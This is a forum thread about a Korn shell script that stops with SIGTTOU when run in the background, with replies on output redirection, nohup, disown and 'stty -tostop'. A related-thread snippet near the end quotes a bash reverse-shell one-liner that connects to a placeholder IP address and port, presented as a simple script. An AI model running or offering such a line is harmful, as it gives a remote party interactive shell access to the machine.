Korn Shell script in stopped state while running in background


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Korn Shell script in stopped state while running in background
# 1  
Old 04-30-2015
HP Korn Shell script in stopped state while running in background

Hi,

I want to run a shell script in background .
but its going to stopped state


Code:
$ ksh cat_Duplicate_Records_Removal.ksh &
[2]     8975
$
[2] + Stopped (tty output)     ksh cat_Duplicate_Records_Removal.ksh &


why is this happening?

Also could anyone please tell me what is a stopped state and what is the use of it?
# 2  
Old 04-30-2015
It seems ksh doesn't ignore SIGTTOU, which is sent when a background process tries to write to a terminal. This question was just asked by alexcol Nohup Command gets status Stopped

Try redirecting to files ksh >stdout.log 2>stderr.log & or /dev/null
Also consider using nohup
This User Gave Thanks to neutronscott For This Post:
# 3  
Old 04-30-2015
Quote:
Originally Posted by neutronscott
It seems ksh doesn't ignore SIGTTOU, which is sent when a background process tries to write to a terminal. This question was just asked by alexcol Nohup Command gets status Stopped

Try redirecting to files ksh >stdout.log 2>stderr.log & or /dev/null
Also consider using nohup


Thank You..
but my script is not writing anything to the terminal(I have redirected all output to logfile).
I ran the script in foreground and it completed successfully without sending any output/error to the screen
Code:
$ ksh cat_Duplicate_Records_Removal.ksh
$

Is there any other reason why my script is stopped?
# 4  
Old 04-30-2015
Maybe nothing visible was sent to the stdout (usually the screen) but we can see inside to know for sure. Perhaps something prepares to write even though there is no actual output.

Can you share your code?



Robin
# 5  
Old 04-30-2015
maybe you can trap SIGTTOU and ignore it in your script...
maybe you can coerce the terminal not to send it: stty -tostop
# 6  
Old 04-30-2015
Quote:
Originally Posted by neutronscott
maybe you can trap SIGTTOU and ignore it in your script...
maybe you can coerce the terminal not to send it: stty -tostop


ok i ran the script in background

Code:
$ nohup ksh cat_Duplicate_Records_Removal.ksh >/dev/null 2>&1 &
[1]     6679
$ exit
You have running jobs
[1] + Stopped (tty output)     nohup ksh cat_Duplicate_Records_Removal.ksh >/dev/null 2>&1 &
$

now the problem is when i type exit, the job is getting stopped.
why is that?


Thank you
# 7  
Old 04-30-2015
It seems it's still suffering from the original problem. I wonder if redirecting stdin would help </dev/null.

disowning the process should allow you to exit cleanly. nohup ksh ... & disown
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

2. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

3. UNIX for Advanced & Expert Users

stopped(sigttou) error while executing a script in background

Hi All, I have an issue where in when i execute a script in the background using '&', it exits with stopped(SIGTTOU) signal. There are two servers, where the Compute server is HP-Unix and Data server is Linux. I tried using the "stty - tostop" command to disable the SIGTTOU for background... (1 Reply)
Discussion started by: vmenon
1 Replies

4. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

5. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

6. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

7. Shell Programming and Scripting

running a script in korn shell

I'm learning bash and have discovered that the shell can only work with integers and not decimals. I'd like to run my scripts in korn to account for this, but just now, when I tried to run my script, I got an error message that said 'no such file or directory,' even though when I'm in the shell... (3 Replies)
Discussion started by: Straitsfan
3 Replies

8. UNIX for Dummies Questions & Answers

running script with korn shell

How would i instruct the current shell to run the current script using the korn shell? (1 Reply)
Discussion started by: JamieMurry
1 Replies

9. Shell Programming and Scripting

Running a Java Programm with a (korn)shell-script

hey everyone, For my studies i had to write a javaprogram which reads 2 integers from the keyboard and then using the basic operations(addition, division etc) with them. so far no problem. but now i gotta make a shell-script which: runs the program(compiled with javac) #!bin/ksh java... (1 Reply)
Discussion started by: simlmf
1 Replies

10. Shell Programming and Scripting

Korn Shell script not running

I am sorry, this is really trivial, yet I am not able to understand what the problem is! I am using korn shell and running this script #!/bin/ksh keep=3 while ; do echo $keep keep=$(($keep-1)) done I am getting this error: `keep=$' unexpected I am not able to understand it because ... (1 Reply)
Discussion started by: Asty
1 Replies
Login or Register to Ask a Question